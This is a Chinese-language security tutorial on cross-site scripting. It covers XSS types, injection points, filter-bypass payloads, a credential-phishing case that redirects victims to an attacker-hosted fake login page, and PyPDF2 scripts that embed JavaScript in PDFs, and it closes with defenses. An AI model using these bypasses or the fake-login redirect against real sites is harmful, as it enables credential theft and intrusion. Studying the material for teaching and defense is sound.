XSS漏洞
XSS漏洞原理
跨站脚本攻击(Cross-Site-Scripting),是代码注入的一种。攻击者利用网站没做输入过滤、输出转义的漏洞,把恶意 JavaScript 代码嵌入网页中,当其他用户打开这个网页时,浏览器会把恶意脚本当成正常代码直接执行,从而达到窃取用户个人数据、弹出广告,甚至篡改网页内容等攻击目的
XSS漏洞分类
反射型XSS攻击
- 特点:恶意脚本通过URL参数进行传递,仅能单次使用,需诱导受害者点击携带payload的URL
- 典型场景:搜索框,URL跳转,错误提示页面
- 攻击流程:
- 攻击者构造恶意链接,如http://target.com/search?key=
- 受害者点击恶意链接
- 网站接收恶意参数,并将其返回给浏览器,浏览器在渲染页面时触发恶意代码
存储型XSS攻击
- 特点:恶意脚本被永久存储在服务器中,任何访问该页面的用户都会出发攻击
- 典型场景:评论区、用户资料、博客留言
- 攻击流程:
- 攻击者发布含有Javascript代码的文字
- 恶意脚本被存储在浏览器中
- 用户访问时,浏览器从服务器提取含恶意代码的内容
- 浏览器执行恶意代码
DOM型XSS攻击
- 特点:恶意脚本通过修改页面 DOM 结构触发,无需与服务器交互,漏洞存在于前端 JavaScript 代码中。
- 典型场景:基于document.write()、innerHTML等 API 操作 DOM 的页面。
- 攻击流程:
- 页面存在代码:document.getElementById(‘content’).innerHTML = location.hash.substr(1)
- 攻击者构造链接:http://target.com/#<img src=x οnerrοr=alert(‘xss’)>
- 用户点击后,location.hash的值被写入 DOM,onerror事件触发脚本执行
XSS漏洞危害
1、用户信息泄露
2、用户会话劫持
3、恶意软件传播
4、钓鱼攻击
5、网站信誉受损
6、数据篡改
7、拒接服务
8、权限提升
9、社会工程学攻击
如何验证存在XSS
- 基础检测:弹框
<script>alert(1)</script> - 无痕检测:控制台
<img src=x onerror=console.log('xss-test')> - 过滤检测:特殊字符
<>"'onerror、onload、onmouseover、onfocus
常见注入点
URL参数
类型:反射型XSS
说明:通过URL携带恶意参数
示例:http://example.com/search?q=<script>alert(1)</script>表单提交参数
类型:反射型/存储型XSS
说明:登录、注册、搜索等接口
示例:<input name="keyword" value="<script>...">DOM属性
类型:DOM型XSS
说明:document.URL、location.hash等
示例:http://example.com/#<img src=x onerror=alert(1)>HTTP头部字段
类型:反射型XSS
说明:Referer、User-Agent、Host
示例:User-Agent: <script>alert(1)</script>第三方组件
类型:供应链XSS
说明:引入不可信JavaScript或iframe
示例:<script src="http://evil.com/malicious.js">Markdown/富文本
类型:存储型XSS
说明:评论区、文章编辑器等
示例:[点击这里](javascript:alert(1))HTML标签属性
类型:反射型/存储型XSS
说明:src、href、onload、style
示例:<img src="x" onerror="alert(1)">
XSS绕过方法
详情可参考:XSS-Labs全关卡解析
- 大小写转化
<ScriPt>alert(1)</sCripT> - 双写绕过
<sscriptcript>alert(1)</sscriptcript> - 使用单引号、双引号闭合
"><script>alert(1)</script>" - 使用事件函数
<img src=x onerror=alert(1)> - 替换空格
<img/src=x/onerror=alert(1)>
或使用制表符、换行符、%0a、%0d代替 - javascript伪协议
' onfocus=javascript:alert(1) autofocus= ' - 编码绕过
URL编码:<img src=x onerror=alert(1)>
实体编码:<script>alert(1)</script>
Unicode编码:<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
XSS攻击案例
XSS之httponly(账号密码钓鱼)
HttpOnly属性的作用是让Cookie只能用于http/https传输,而不能被客户端读取。攻击者可构造恶意网站,诱导受害者访问该网站,使受害者主动将敏感信息发送给攻击者
payload:</textarea><script>window.location.href='http://eval/login.php'</script>
创建后台登录程序(以DVWA做简单演示):
1、获取后台前端页面
在登录界面,右键->另存为
保存下来的页面是纯静态,刷新时验证码也是静态,原管理后台文件中,有个GetCode.asp,该文件是用于获取动态验证码的
2、优化假后台
将刚才另存后的代码复制到攻击者vps服务器中,命名为login.php
将假登录页面中验证码地址改为真实登录地址的验证码地址
再将from表单提交的目标地址替换为用于接收用户账号和密码的文件地址
新建save.php文件实现页面跳转和账号密码传参到服务器
这样,只要用户访问了插入恶意payload的网页,Javascript代码就会自动执行,使用户跳转到攻击者恶意构造的登录界面,如果用户将账号密码输入进去提交后,攻击者 的服务器就会保存受害者的账号密码,并使其跳转到正常的登录界面
XSS之PDF
PDF XSS漏洞利用了PDF文件的结构和内容,将恶意脚本代码嵌入到PDF文件中,当用户打开PDF文件时,恶意脚本代码会被执行。
攻击过程
1、攻击者创建一个恶意PDF文件,其中包含恶意脚本代码
2、攻击者将恶意pdf文件发送给目标用户,或者将文件上传到一个可供用户下载的网站上
3、用户下载并打开恶意的pdf
4、pdf阅读器解析PDF文件,并执行其中的脚本代码
5、恶意脚本代码执行恶意操作,例如窃取用户的敏感信息、修改用户的数据等。
构造恶意xss-pdf
方法一:通过pdf编辑器生成
文件–>文档属性—>动作—>文档打印前–>app.alert(‘xss’);
文件–>文档属性—>Javascript—>app.alert(‘xss’);
2、python脚本 PyPDF2
使用脚本生成含有恶意代码的pdf,先执行xss.py,再执行xss2.py
xss.py代码
# -- coding: utf-8 --#若出现报错,将from PyPDF2 import PdfRe注释或者删除#from PyPDF2 import PdfRefromPyPDF2importPdfReader,PdfWriter# 创建一个新的 PDF 文档output_pdf=PdfWriter()# 添加一个新页面page=output_pdf.add_blank_page(width=72,height=72)# 添加js代码output_pdf.add_js("app.alert('xss');")# 将新页面写入到新 PDF 文档中withopen("xss.pdf","wb")asf:output_pdf.write(f)xss2.py代码
# -- coding: utf-8 --fromPyPDF2importPdfReader,PdfWriter# 打开原始 PDF 文件input_pdf=PdfReader("xss.pdf")# 创建一个新的 PDF 文档output_pdf=PdfWriter()# 将现有的 PDF 页面复制到新文档foriinrange(len(input_pdf.pages)):output_pdf.add_page(input_pdf.pages[i])# 添加 JavaScript 代码output_pdf.add_js("app.alert('xss');")# 将新 PDF 文档写入到文件中withopen("xss.pdf","wb")asf:output_pdf.write(f)XSS如何防御
对用户的输入进行过滤
比如说添加黑名单或者白名单规则,比如说对& " ’ / javascript import等敏感字符进行转义
对输出进行转义
对单引号’、双引号"、尖括号<>、and符&、左斜杠/、右斜杠\进行转义,也可使用htmlspecialchars()或者htmlentities()函数进行转义
使用HttpOnly Cookie
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样可以有效的防止XSS攻击窃取cookie。
设置X-XSS-Protection属性
该属性被所有的主流浏览器默认开启。X-XSS-Protection,即XSS保护属性,是设置在响应头中目的是用来防范XSS攻击的。在检查到XSS攻击时,停止渲染页面。
开启CSP网页安全策略
CSP是网页安全策略(Content Security Policy)的缩写。开启策略后可以起到以下作用:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户的数据不会泄露到外域;禁止内联脚本执行(规则较严格,目前发现 GitHub 使用);禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。合理使用上报可以及时发现 XSS,利于尽快修复问题。
避免内联事件
尽量不要使用 onLoad=“onload(’{{data}}’)”、onClick=“go(’{{action}}’)” 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
XSS和CSRF的区别
XSS vs CSRF 核心区别一览表
| 对比维度 | XSS(跨站脚本攻击) | CSRF(跨站请求伪造) |
|---|---|---|
| 攻击本质 | 注入恶意脚本到网页中执行 | 伪造用户请求,冒用身份操作 |
| 攻击目标 | 窃取信息(Cookie、会话等) | 执行操作(转账、改密码等) |
| 利用方式 | 用户访问含恶意脚本的页面 | 用户点击恶意链接或访问恶意网站 |
| 前提条件 | 网站存在输入输出过滤缺陷 | 用户已登录目标网站且会话有效 |
| 攻击后果 | 信息泄露、会话劫持、钓鱼等 | 非授权的操作执行 |
| 防御重点 | 过滤输入、编码输出、CSP | 防伪令牌(Token)、验证Referer |
